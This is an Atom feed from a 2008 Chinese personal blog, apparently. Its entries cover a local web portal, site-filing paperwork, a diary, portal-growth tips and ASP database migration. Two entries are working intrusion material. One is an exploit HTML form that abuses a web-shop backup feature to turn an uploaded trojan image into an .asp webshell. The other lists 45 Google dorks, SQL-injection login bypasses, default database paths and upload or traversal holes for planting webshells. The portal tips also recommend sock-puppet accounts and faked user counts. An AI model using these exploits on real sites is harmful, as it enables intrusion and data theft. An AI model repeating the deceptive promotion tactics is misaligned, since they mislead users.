<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[梦情轩-Richard's Blog|]]></title>
  <subtitle type="html"><![CDATA[心情日记|网站设计|域名主机|源码销售]]></subtitle>
  <id>http://www.zhuxuejun.com/</id> 
  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.zhuxuejun.com/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2008-09-11T00:09:21+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[新生儿]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=10" label="我的文章(Article)" /> 
	  <updated>2008-09-11T00:09:21+08:00</updated>
	  <published>2008-09-11T00:09:21+08:00</published>
		  <summary type="html"><![CDATA[在网络社会的大家庭里，我绝对是个新生儿：也许你一定对我很好奇，也许你也对我很不在意。但当你走进我的内心世界，真正的了解了我能为大家做什么的时候，你一定不会再用奇怪和轻视的眼光来看我。<br/><br/>我是新生儿，但是我的本领却是与生具来的。不信？请看……<br/><br/>你想知道哪里有本地最新的房产信息吗？<br/><br/>你想知道哪里有本地最多最好吃的特产吗？<br/><br/>你想知道哪里有最新最流行的时尚吗？<br/><br/>你想知道哪里有本地最全的商务服务信息吗?<br/><br/>你想知道哪里有本地最全最及时的生活服务信息吗?<br/><br/>甚至你还想知道哪里能找到在其它网络不能找到的信息吗?<br/><br/>那一切都不再难。<br/><br/>请跟我来，走进我的内心世界吧，在这里我将满足你所需要的需要。<br/><br/>想你所想，急你所急……我每天都在长大，每天都在进步。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;荣昌网 <a href="http://www.rc369.com.cn" target="_blank">http://www.rc369.com.cn</a><br/><br/><br/><br/>原创文章,版权所有,转载请注明出处作者.]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=230" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=230</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[网站备案客户须提供的基本资料]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=9" label="网络文摘(Digest)" /> 
	  <updated>2008-09-03T18:22:53+08:00</updated>
	  <published>2008-09-03T18:22:53+08:00</published>
		  <summary type="html"><![CDATA[以公司形式备案需提供：<br/>公司全称&nbsp;&nbsp; 营业执照或者代码证号码&nbsp;&nbsp;负责人全名&nbsp;&nbsp;身份证号码&nbsp;&nbsp; 手机&nbsp;&nbsp; 固定电话&nbsp;&nbsp; 邮箱&nbsp;&nbsp; 联系地址&nbsp;&nbsp;营业执照和税务登记证复印件<br/><br/>以个人形式备案需提供：<br/>全名&nbsp;&nbsp; 身份证号码&nbsp;&nbsp; 手机&nbsp;&nbsp; 固定电话&nbsp;&nbsp; 邮箱&nbsp;&nbsp; 联系地址&nbsp;&nbsp; 身份证复印件<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=229" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=229</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[就这样结束了！]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=5" label="我的日记(Diary)" /> 
	  <updated>2008-08-18T11:49:32+08:00</updated>
	  <published>2008-08-18T11:49:32+08:00</published>
		  <summary type="html"><![CDATA[几年的感情一瞬间就没了，说得那样自然，冷酷。完全变了一个人似的，没有任何的留恋。决绝，是你的一抹血，带着杀手的寒意，虽然你知道对方的好，可如忍者一般，不带感情，或者本没有感情。突然，太突然，没有暴风雨的前兆，你就一个人作出了这个决定！其实你真的太小了，或者你追求的生活应该是跌宕起伏的，充满名利的天堂。走吧！走得干脆一点！不要让我产生恨，由爱生恨，毕竟我不能欺骗我的心，把痛咬出血来，让痛产生麻痹，产生免疫力。一路走好，希望你在以后的生活中生活得更好！此情待追忆，往事皆成空！]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=227" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=227</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[做地方门户三条锦囊妙计]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=6" label="学习笔记(Note)" /> 
	  <updated>2008-08-12T14:51:52+08:00</updated>
	  <published>2008-08-12T14:51:52+08:00</published>
		  <summary type="html"><![CDATA[第一条:打感情牌,让网友的感情共同回归<br/><br/>地方性综合门户网站,地域优势明显,聚扰心强.也有种中国传统意义上的家族意识的感觉.因此,一个成功的地方门户网站,绝不能丢失”家乡”,”乡土”,”外地的家乡人”,”今日的家乡”,”老乡”,”想家”,”家乡的发展”,”游子”等关键词,这些关键词并不是让你去做SEO,而是让你想办法如何很巧妙的运用到地方门户网站的每个角落,当然每个人的用法不同.你可以把他运用到网站的栏目的设置里,你也可以把他运用到高聚集人气的地方论坛里.说到这里做地方站的朋友们是不是有一种似曾相识的感觉呢?<br/><br/>相信大家一点就通了.操作的手段:一是开设本地新闻,本地名人,在外的家乡人,家乡风景,家乡的人文,本土的文学等栏目,二是建设本地论坛,在论坛中设置,游子情深,聚集故乡等版块.让同乡人写下在他乡漂泊的日子的心情文章,以及在外相家的感觉,还有定期的讨论家乡的发展变化以及家乡的焦点问题,你做为论坛的管理者,当然要很会运用新闻炒作和新闻敏感这两种手段,在论坛刚建立起来,你要注册多个马甲,定期的发表一些家乡的能吸引眼球观点和看法.以引起网友共鸣的参与性.你也可利用技术手段,把论坛的在线人数弄成虚拟的.在论坛中当然不能千篇一律的设置成本地的版块,还要设一些辅助性的,娱乐性的版块,比如原创文学,灌水区,原创贴图,音乐等版块.以达到像SEO中所讲的蜘蛛效应.三是建立老乡小圈子,首页下面一定要加上本地QQ群号.四是留下站长的联系方式,比如QQ号,邮箱,手机.有益于别人认识你,找到你.五是认真耐心做好一个客服小姐.如果你是位男站长,你要把自己当成温柔的客服小姐一样,耐心的回答网友的问题,哪怕是你心里感觉很讨厌的问题你都要一一回答.这有益于建立口碑营销,千万别呼视每一位网友的作用,要把每一个网友当成自己的上帝.<br/><br/>第二条,吸纳英雄好汉,加强联络,各显本领,逼上梁山聚义.<br/><br/>这也是一种手段,这第一条妙计和上一条多多少少有关联的,我们通过打感情牌可以聚了一定的人气,这些人中,当然也有才华横溢的人,他们有的可能在外面很成功,我就通过我的地方站,认识了一些高人,比如有在外面当官的,做生意成功的,在文化艺术方面也很成功的,也有在体育方面成功的家乡人.这些人长期在外面生活,想家的意念是很深的,他们往往修养和素质各个方面都很优秀,和他们交流的时侯,一定要谦虚.我一般就会说,感谢你对本站的支持和厚爱,我也和你一样热爱家乡等话.时间长了,和他们建立友好的朋友关系,力所能及的为他们做一些事,比如有的在外的家乡人,就会说,你去我老家拍一些照片,我想看看,千万别嫌麻烦,你可以找在某个乡上网的网友,委托网友采拍照片,或者你有时间去一下他的家里,拍一下.就当是旅游了.还有的会说,你帮我寻找一下同学或朋友或亲戚,你一定要免费大力的给发布消息,不管能不能达到效果,你这样去做.这样子,当你有麻烦事情的时侯,他们会帮助上你,做为我们站长,一般要与空间商,公安局,电信部门,工商局等打交道,如果你认识了一个当官的朋友,在办理一些事情上就很方便了,本身很难办的事情,他打一个电话,就会很轻松的.在你的网站上你可以展示他们的摄影作品,他们的文学作品,你也可以寻找当地的一些文化名人合作,合作的方式就是,宣传他们的作品,帮助他们出售作品.当然你接触他们的时侯他要有手段呀,可以托关系,一般这些文化人都清高,自认为很了不起,你如果直接找他,他会拒你门之外,你可以通过他的朋友先把他的作品放到你的网站上展示,然后再登门拜访,进门后直呼他为老师,你就说,我看到你的作品很好,作品处处展露出了对家乡的热爱和歌颂,你是个好人,你是个热爱家乡的人.此次来有两个目的,<br/><br/>第一是通过您的知名度,宣传家乡。<br/><br/>第二,想请您给我的网站题个词或做个画.<br/><br/>一般情况下他们都很乐意.必竟他们是本地的小名人,这些人一般都是四十几岁的人,他们不懂网络,你就说你的地方门户站的知名度和好处.当然要含虚的吹捧自己的网站有多牛比.如果你得到他们的墨宝或作品,你就大力的在网站炒作,你就说著名的某某某为本站题词,这样就达到了名人效应,一般像我们这些小站长和明星都接触不上的,只能想这些招了.你像写诗或写文章好的一些小名人,你可以把他的诗或文章放到你网站的本土文学栏目里,把他们的简介和作品放到本地名人栏目里,像书法家,画家,都可以归到本地名人栏目里,除过这几类,像建筑设计师,德高望重的宗教人士,武术家,体育工作者,教师,科研贡献者,演员,歌唱者,政治家,等一些在平凡的岗位上做出不平凡业绩的人你都可以放到本地名人里,因为他们确实做出了贡献,但你一定要在网站上注明,本网的本土名人栏目,是实打实的展示为家乡的发展做出不平凡业绩的人,请无聊者勿借此炒作或捕风捉影.这样有利于保护自已和本土的名人.不光要在本地真实的寻找和挖掘这些名人,还要在网上搜索你们当地从古到今出的大名人.如果你和这些大名人真正的联系上了,那你的网站也就有了内容和光泽了。<br/> ]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=224" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=224</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ASP+Access转化成ASP+MS SQL ]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=6" label="学习笔记(Note)" /> 
	  <updated>2008-07-26T18:10:31+08:00</updated>
	  <published>2008-07-26T18:10:31+08:00</published>
		  <summary type="html"><![CDATA[当你找到一台装有SQLSERVER的机器时，你便可以开始转换并调试了。 <br/><br/>1。先利用转化软件：CooSel2.0 Cr&#101;ateSQL V1.05，我用的这个，非常好用。具体操作的话，我用的是生成升迁SQL脚本，保存为 *.sql文件后，在SQL2000的查询分析器里调入执行。而SQLSERVER的具体操作在此不便赘述。这样，你的数据库就转化成了MSSQL数据库 <br/><br/>2。对asp而言，首先是数据库连接文件的修改：这点可以参考动网论坛的conn.asp <br/><br/>Dim ConnStr <br/>&#39;sql数据库连接参数：数据库名、用户密码、用户名、连接名（本地用local，外地用IP） <br/>Dim SqlDatabaseName,SqlPassword,SqlUsername,SqlLocalName <br/>SqlDatabaseName = &#34;dvbbs7&#34; &#39;数据库名称 <br/>SqlPassword = &#34;&#34; &#39;数据库密码 <br/>SqlUsername = &#34;dvbbs&#34; &#39;数据库用户名 <br/>SqlLocalName = &#34;(local)&#34; <br/>ConnStr = &#34;Provider = Sqloledb; User ID = &#34; &amp; SqlUsername &amp; &#34;; Password = &#34; &amp; SqlPassword &amp; &#34;; Initial Catalog = &#34; &amp; SqlDatabaseName &amp; &#34;; Data Source = &#34; &amp; SqlLocalName &amp; &#34;;&#34; <br/>On Error Resume Next <br/>Set conn = Server.Cr&#101;ateObject(&#34;ADODB.Connection&#34;) <br/>conn.open ConnStr <br/><br/>即只需要修改数据库名称、用户名和密码即可覆盖原来的ACCESS连接方法并使用。如果你的网站同时包含了动网论坛，则可根据1。的操作将动网的数据库也转换成SQLSERVER，值得称道的是：动网考虑了ACCESS和SQLSERVER两种数据库的使用，因此在修改ASP源代码的时候不需要对动网的源代码进行更改，可谓方便至极，考虑得十分周全~~ <br/><br/>3。这时候你可以先浏览一下新的网站了，如果出错了，也不用担心，但是有很多页面已经是可以正常显示了。接着就是对整站程序的修改了。尤其要注意的是：所有的修改都只针对对数据库进行操作的语句，几乎全是对SQL语句的修改。而在一般的代码中是绝对不需要修改的!否则会出错!! <br/><br/>4。真假值的判断。ACCESS提供了布尔值这一数据类型，但是在SQLSERVER中，如果你在SQL语句中填写Wh&#101;re AA=True则是错误的，因为MSSQL不支持在数据库中True和False的判断。这时候你需要将所有SQL语句中的True和False改为1和0。而在一般的程序中，例如rs(&#34;aa&#34;)=True则不需要修改!因为这句话并不是对数据库的操作。可能你会说这样改起来，对于大网站而言，是非常麻烦的，的确，但有一些比较简便的方法。比如在dreamweaver中，你可以利用整个文件夹的查找，找出所有的True和False，然后筛选出对数据库进行操作的True和False并将他们改成1和0。另外还有一点：在SQLSERVER中也需要更改一下，ACCESS转化后布尔值变成了Bit值，最好将默认值设为0，即与ACCESS一样设置默认值为False。 <br/><br/>5。有一些网站中提到：sql数据库表是没有自动字段的，因此原来access中的自动字段被转换成了普通字段，需要手工改成标识类型，增量为1。这点其实软件在转化的过程中已经帮你完成了，如果你是手工转化的话，确实需要修改标识类型。还有一点我没有遇到过，但是有的网站也提到了：空值的表示：在access中，判断空值一般用是否＝&#34;&#34;来表示，但是这在SQL中往往出错，如果遇到出错的问题或者程序运行不正常，可以改成如这样判断：wh&#101;re (name is null)。 <br/><br/>6。如果你在SQL语句中同时使用了VB函数，很遗憾，这在MSSQL中是不能被辨认的，最好的方法是先将他在SQL之外处理，然后存入变量中导入到SQL语句中。 <br/><br/>7。最主要的还是时间函数的各种修改，这占到了工作量的90%。其一是将所有数据库操作语句中的NOW()转化成GETDATE()；其二是datediff和dateadd这类函数需要将第一项中的引号去掉，即datediff(&#34;s&#34;,date1,date2)改为datediff(s,date1,date2)；其三，ACCESS中时间字符串都用#括起来，而MSSQL中是用&#39;&#39;来表示的，即等同于一般的字符串；其四有一些时间函数在MSSQL中是不能被辨认的，基本上所有的SQLSERVER中的时间日期函数如下： <br/><br/>day(), month(), year() <br/>dateadd(datepart, number, date), datapart指定对那一部分加，number知道加多少，date指定在谁的基础上加。datepart的取值包括，year,quarter,month,dayofyear,day,week,hour,minute,second,比如明天dateadd(day,1, getdate()) <br/>datediff(datepart,date1,date2). datapart和上面一样。整个函数结果是date2 - date1 <br/>datename(datepart, date) 取那一部分，返回字符串。 <br/>datepart(datepart, date) 取一部分，返回整数。 <br/>getdate()当前时间 <br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=223" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=223</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[逍遥网店所有版本后台数据备份漏洞收藏程序代码]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=6" label="学习笔记(Note)" /> 
	  <updated>2008-07-24T18:49:29+08:00</updated>
	  <published>2008-07-24T18:49:29+08:00</published>
		  <summary type="html"><![CDATA[&lt;html&gt;<br/>&lt;head&gt;<br/>&lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=gb2312&#34;&gt;<br/>&lt;link rel=&#34;stylesheet&#34; href=&#34;manage.css&#34; type=&#34;text/css&#34;&gt;<br/>&lt;/head&gt;<br/>&lt;BODY background=&#34;../images/admin/back.gif&#34;&gt;<br/><br/>&lt;table width=&#34;98%&#34; border=&#34;1&#34; style=&#34;border-collapse: collapse; border-style: dotted; border-width: 0px&#34; <br/>bordercolor=&#34;#333333&#34; cellspacing=&#34;0&#34; cellpadding=&#34;2&#34;&gt;<br/>&lt;form action=http://www.99**.com/admin/safe5.asp method=post name=backup&gt;<br/>&lt;tr class=backs&gt;&lt;td colspan=2 class=td height=18&gt;数据库在线维护&lt;/td&gt;&lt;/tr&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;oldpath&#34; value=&#34;../pic/digi/0063.jpg&#34;&gt;&lt;!--木马改图片上传后的路径--&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;DBname&#34; size=&#34;20&#34; value=&#34;xuehan.asp&#34;&gt;&lt;!--要备份的木马路径--&gt;<br/>&lt;tr&gt;&lt;td colspan=2 heigh=50&gt;从未备份数据库文件&lt;/td&gt;&lt;/tr&gt;<br/>&lt;tr&gt;&lt;td colspan=2&gt;<br/>&lt;input title=&#39;备份正在使用的数据库文件&#39; type=&#34;submit&#34; name=&#34;Submit&#34; value=&#34;备份&#34; onclick=&#34;{if(confirm(&#39;备份正在使用的数据库文件，有道是常&#34;备&#34;无患，出了问题后可用于恢复！\n\n备份文件将保存在后台目录里，只要后台目录不公开，放在这里的文件就非常安全。\n\n单击确定继续，单击取消返回。&#39;)){this.document.backup.submit();return true;}return false;}&#34;&gt; <br/>&lt;input title=&#39;对备份的数据库文件进行压缩和修复&#39; type=&#39;button&#39; value=&#39;压缩&#39; onclick=&#34;{if(confirm(&#39;对数据库备份文件进行压缩，减少占用空间，还可修复数据库错误。\n\n正在使用的数据库不能压缩，请按&#34;备份&#34;—&#34;压缩&#34;—&#34;恢复&#34;的流程操作。\n\n单击确定继续，单击取消返回。 &#39;)){location.href=&#39;safe5.asp?action=yasuo&#39;;}}&#34;&gt; <br/>&lt;input title=&#39;用备份文件覆盖正式数据库文件&#39; type=&#39;button&#39; value=&#39;恢复&#39; onclick=&#34;{if(confirm(&#39;用数据库备份文件覆盖正式的数据库文件，单击确定继续，单击取消返回。&#39;)){location.href=&#39;safe5.asp?action=huifu&#39;;}}&#34;&gt; <br/>&lt;input title=&#39;删除数据库备份文件&#39; type=&#39;button&#39; value=&#39;删除&#39; onclick=&#34;{if(confirm(&#39;删除备份的数据库文件（即后台目录里的备份文件shopbackup.mdb）。\n\n单击确定继续，单击取消返回。&#39;)){location.href=&#39;safe5.asp?action=del&#39;;}}&#34;&gt; <br/>&lt;input title=&#39;将备份的数据库下载到本地保存&#39; type=&#39;button&#39; value=&#39;下载&#39; onclick=&#34;{if(confirm(&#39;将数据库备份文件下载到自己的电脑中保存一份，以备不测。\n\n不怕一万，只怕万一 ^_^ 需要时可上传并恢复数据库。\n\n单击确定继续，单击取消返回。 &#39;)){location.href=&#39;safe5.asp?action=down&#39;;}}&#34;&gt; <br/>&lt;INPUT title=&#39;将本地数据库文件上传到网站&#39; TYPE=&#34;button&#34; value=&#34;上传&#34; onClick=&#34;window.open(&#39;upload.asp?fuptype=db&amp;fupname=shopbackup&amp;frmname=db&#39;,&#39;blank_&#39;,&#39;scrollbars=yes,resizable=no,width=650,height=450&#39;)&#34;&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;backup&#34; value=&#34;ok&#34;&gt;<br/>&lt;/td&gt;&lt;/tr&gt;<br/>&lt;/form&gt;<br/>&lt;/table&gt;<br/>&lt;br&gt;&lt;font color=red&gt;※提示：&lt;/font&gt;&lt;br&gt;&lt;br&gt;<br/>此操作需FSO功能支持。&lt;br&gt;<br/>执行此操作前，请先关闭其它网页窗口，断开FTP连接。&lt;br&gt;<br/>提交后，请耐心等待&lt;font color=red&gt;（请不要重复点击上面的按钮），&lt;/font&gt;完成时间视网络状况而定。&lt;br&gt;<br/>请在网络空闲时进行此操作，&lt;b&gt;执行此操作可能导致服务器变慢或不稳定&lt;/b&gt;。 ]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=222" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=222</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[45种可以拿到Webshell的程序总结]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=6" label="学习笔记(Note)" /> 
	  <updated>2008-07-24T18:48:04+08:00</updated>
	  <published>2008-07-24T18:48:04+08:00</published>
		  <summary type="html"><![CDATA[1,<br/>到GoogLe,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库!<br/><br/>2,<br/>到Google ,site:cq.cn inurl:asp<br/><br/>3,<br/>利用挖掘鸡和一个ASP木马.<br/>文件名是login.asp<br/>路径组是/manage/<br/>关键词是went.asp<br/>用&#39;or&#39;=&#39;or&#39;来登陆<br/><br/>4,<br/>关键字：Co Net MIB Ver 1.0网站后台管理系统<br/><br/>帐号密码为 &#39;or&#39;=&#39;or&#39;<br/><br/>5.<br/>动感购物系统<br/>inurl:help.asp登陆，如未注册成为会员!<br/><br/>upLoad_bm1.asp和upLoad_c1.asp这两个随便选个，一般管理员都忽视了这2漏洞<br/><br/>6。<br/>默认数据库地址blogdata/acblog.asa<br/>关键字：acblog<br/><br/>7.<br/>百度 /htdocs<br/>注册里可以直接上传asa文件！<br/><br/>8.<br/>/Database/#newasp.mdb<br/>关键词：NewAsp SiteManageSystem Version<br/><br/>9.<br/>用挖掘机 <br/>关键字：Powered by WEBBOY<br/>页面：/upfile.asp<br/><br/>10.<br/>baidu中搜索关键字Ver5.0 Build 0519<br/>(存在上传漏洞)<br/><br/>11.<br/>Upfile_Article.asp bbs/upfile.asp <br/>输入关键字：powered by mypower ，<br/><br/>12.<br/>inurl:winnt\system32\inetsrv\ 在google里面输入这个就可以找到很多网站<br/><br/>13.<br/>现在GOOGLE搜索关键字 intitle:网站小助手　inurl:asp <br/><br/>14.<br/>键字： 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采 装备购买 站内流言 友情连接 本站论坛<br/><br/>挖掘鸡的关键字 添 setup.asp<br/><br/>15.<br/>VBulletin论坛的数据库<br/>默认数据库地址!<br/>/includes/functions.php<br/>工具:<br/>1.网站猎手 下载地址:百度 Google!<br/>2.Google<br/>关键字:<br/>Powered by: vBulletin Version 3.0.1<br/>Powered by: vBulletin Version 3.0.2<br/>Powered by: vBulletin Version 3.0.3<br/>其中一个就可以了<br/><br/>16.<br/>1.打开百度或GOOGLE搜索，输入powered by comersus ASP shopping cart <br/>open source。 这是一个商场系统。<br/>2.网站的最底部分，有个 Comersus Open Technologies LC。打开看下~~comersus系统~<br/>猜到,comersus.mdb. 是数据库名<br/>数据库都是放在database/ 后的,<br/>所以database/comersus.mdb <br/>comersus_listCategoriesTree.asp换成database/comersus.mdb，不能下载。<br/>那样把前一个&#39;&#39;store/&#39;&#39;除去，再加上database/comersus.mdb 试试<br/><br/>17.<br/>无忧传奇官方站点程序。<br/>1、后台管理地址：<a href="http://" target="_blank">http://</a>您的域名/msmiradmin/<br/>2、默认后台管理帐号：msmir<br/>3、默认后台管理密码：msmirmsmir<br/>数据库文件为 <a href="http://" target="_blank">http://</a>您的域名/msmirdata/msmirArticle.mdb<br/>数据库连接文件为 ***********/Conn.asp<br/><br/>18.<br/>百度里输入/skins/default/<br/><br/>19.<br/>利用挖掘机<br/>关键机:power by Discuz<br/>路径:/wish.php<br/>配合:<br/>Discuz!论坛 wish.php远程包含漏洞 工具使用<br/><br/>20.<br/>上传漏洞.<br/>工具 : Domain3.5<br/>网站猎手 1.5版<br/>关键字powered by mypower<br/>检测的页面或文件插入upfile_photo.asp<br/><br/>21.<br/>新云漏洞<br/>这个漏洞ACCESS和SQL版通吃。<br/>Google搜索关键字 &#34;关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 管理登录&#34;<br/>把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp<br/>以源码，软件等下载站居多。<br/>大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了<br/>\database\%23newasp.mdb<br/>如：#xzws.mdb 改成%23xzws.mdb<br/><br/>22.<br/>通吃所有商城+动力上传系统<br/><br/>使用工具:挖掘鸡 v1.1 明小子<br/>商城入侵:<br/>关键字:选购-&gt;加入购物车-&gt;去收银台-&gt;确认收货人信息-&gt;选付款方式-&gt;选配送方式-&gt;在线支付或下单后汇款-&gt;汇款确认-&gt;发货-&gt;完成<br/>漏洞页面:upload.asp <br/>upfile_flash.asp<br/><br/>动力入侵:<br/>关键字:powered by mypower<br/>漏洞页面:upfile_photo.asp<br/>Upfile_Soft.asp<br/>upfile_adpic.asp<br/>upfile_softpic.asp<br/><br/>23.<br/>注射漏洞<br/>百度搜索:oioj&#39;s blog<br/><br/>24<br/>动易<br/>列目录<br/>admin_articlerecyclebin.asp <br/>inurl:admin_articlerecyclebin.asp <br/><br/>25.<br/>工具:网站猎手<br/>关键词:inurl:Went.asp<br/>后缀:manage/login.asp<br/>口令:&#39;or&#39;=&#39;or&#39;<br/><br/>26.<br/>入侵魔兽私服<br/>需要的工具：ASP木马一只。<br/>Domain3.5明小子<br/>关键字：All Right Reserved Design:游戏联盟<br/>后台地址：admin/login.asp<br/>数据库的地址：chngame/#chngame.mdb<br/><br/>27.<br/>漏洞是利用管理员iis设置的失误<br/>用baidu 关键字就是比较罕见的脚本名<br/>动网: ReloadForumCache.asp<br/>Leadbbs: makealltopanc.asp<br/>BBSXP: admin_fso.asp<br/>动易: admin_articlerecyclebin.asp<br/><br/>28.<br/>国外站的爆库漏洞<br/>关键字：sad Raven&#39;s Guestbook<br/>密码地址:/passwd.dat<br/>后台地址:/admin.php<br/><br/>29.<br/>Discuz 4.1.0跨站漏洞<br/>利用工具:1,WAP浏览器<br/>2,WAP编码转换器<br/>关键字:&#34;intext:Discuz! 4.1.0&#34;<br/><br/>30.<br/>关键字：尚奈克斯<br/>后台路径/system/manage.asp <br/>直接传ASP木马<br/><br/>31.<br/>工具<br/>1:网站猎手<br/>2:大马一个<br/>关键字:切勿关闭Cookies功能，否则您将不能登录<br/>插入diy.asp<br/><br/>32.<br/>关键字:Team5 Studio All rights reserved<br/>默认数据库:data/team.mdb <br/><br/>33.<br/>工具: 挖掘机 辅臣数据库读取器<br/>关键字: 企业简介 产品展示 产品列表<br/>后缀添加: /database/myszw.mdb<br/>后台地址: admin/Login.asp<br/><br/>34.<br/>关键子 XXX inurl:Nclass.asp<br/>在&#34;系统设置&#34;里写个木马。<br/>会被保存到 在 config.asp内。<br/><br/>35.<br/>不进后台照样拿动网WEBSHELL<br/>data.asp?action=BackupData 动网数据库备份默认路径<br/><br/>36.<br/>工具:网站猎手 WebShell<br/>关键字:inurl:Went.asp<br/>后缀:manage/login.asp<br/>弱口令:&#39;or&#39;=&#39;or&#39;<br/><br/>37.<br/>关键字:Powered by:QCDN_NEWS<br/>随便扫遍文章加一个&#39; ,来试探注入点<br/>后台地址:admin_index.asp<br/><br/>38.<br/>入侵雷池新闻发布系统<br/>关键字:leichinews<br/>去掉leichinews后面的.<br/>打上:admin/uploadPic.asp?actionType=mod&amp;picName=xuanran.asp<br/>再上传马.....<br/>进访问uppic anran.asp 登陆马.<br/><br/>39.<br/>关键字:Power System Of Article Management Ver 3.0 Build 20030628<br/>默认数据库:database\yiuwekdsodksldfslwifds.mdb <br/>后台地址:自己扫描!<br/><br/>40.<br/>一、通过GOOGLE搜索找大量注入点<br/>关键字：asp?id=1 gov.jp/ asp?id=<br/>页数：100<br/>语言：想入侵哪个国家就填什么语言吧<br/><br/>41.<br/>关键字：Powered by:94KKBBS 2005<br/>利用密码找回功能 找回admin<br/>提问:ddddd 回答:ddddd<br/><br/>42.<br/>关键字:inurl:Went.asp<br/>后台为manage/login.asp<br/>后台密码: &#39;or&#39;=&#39; 或者 &#39;or&#39;&#39;=&#39;&#39;or&#39; 登录　进入<br/>默认数据库地址:Database/DataShop.mdb<br/><br/>43.<br/>关键字:****** inurl:readnews.asp<br/>把最后一个/改成%5c ,直接暴库,看密码,进后台<br/>随便添加个新闻 在标题输入我们的一句话木马<br/><br/>44.<br/>工具:一句话木马<br/>BBsXp 5.0 sp1 管理员猜解器<br/>关键词:powered by bbsxp5.00<br/>进后台,备份一句话马!<br/><br/>45.<br/>关键字：程序核心：BJXSHOP网上开店专家 <br/>后台:/admin]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.zhuxuejun.com/default.asp?id=221" /> 
	  <id>http://www.zhuxuejun.com/default.asp?id=221</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[图片上传木马检测]]></title>
	  <author>
		 <name>richard</name>
		 <uri>http://www.zhuxuejun.com/</uri>
		 <email>swordker@21cn.com</email>
	  </author>
	  <category term="" scheme="http://www.zhuxuejun.com/default.asp?cateID=6" label="学习笔记(Note)" /> 
	  <updated>2008-07-23T14:47:43+08:00</updated>
	  <published>2008-07-23T14:47:43+08:00</published>
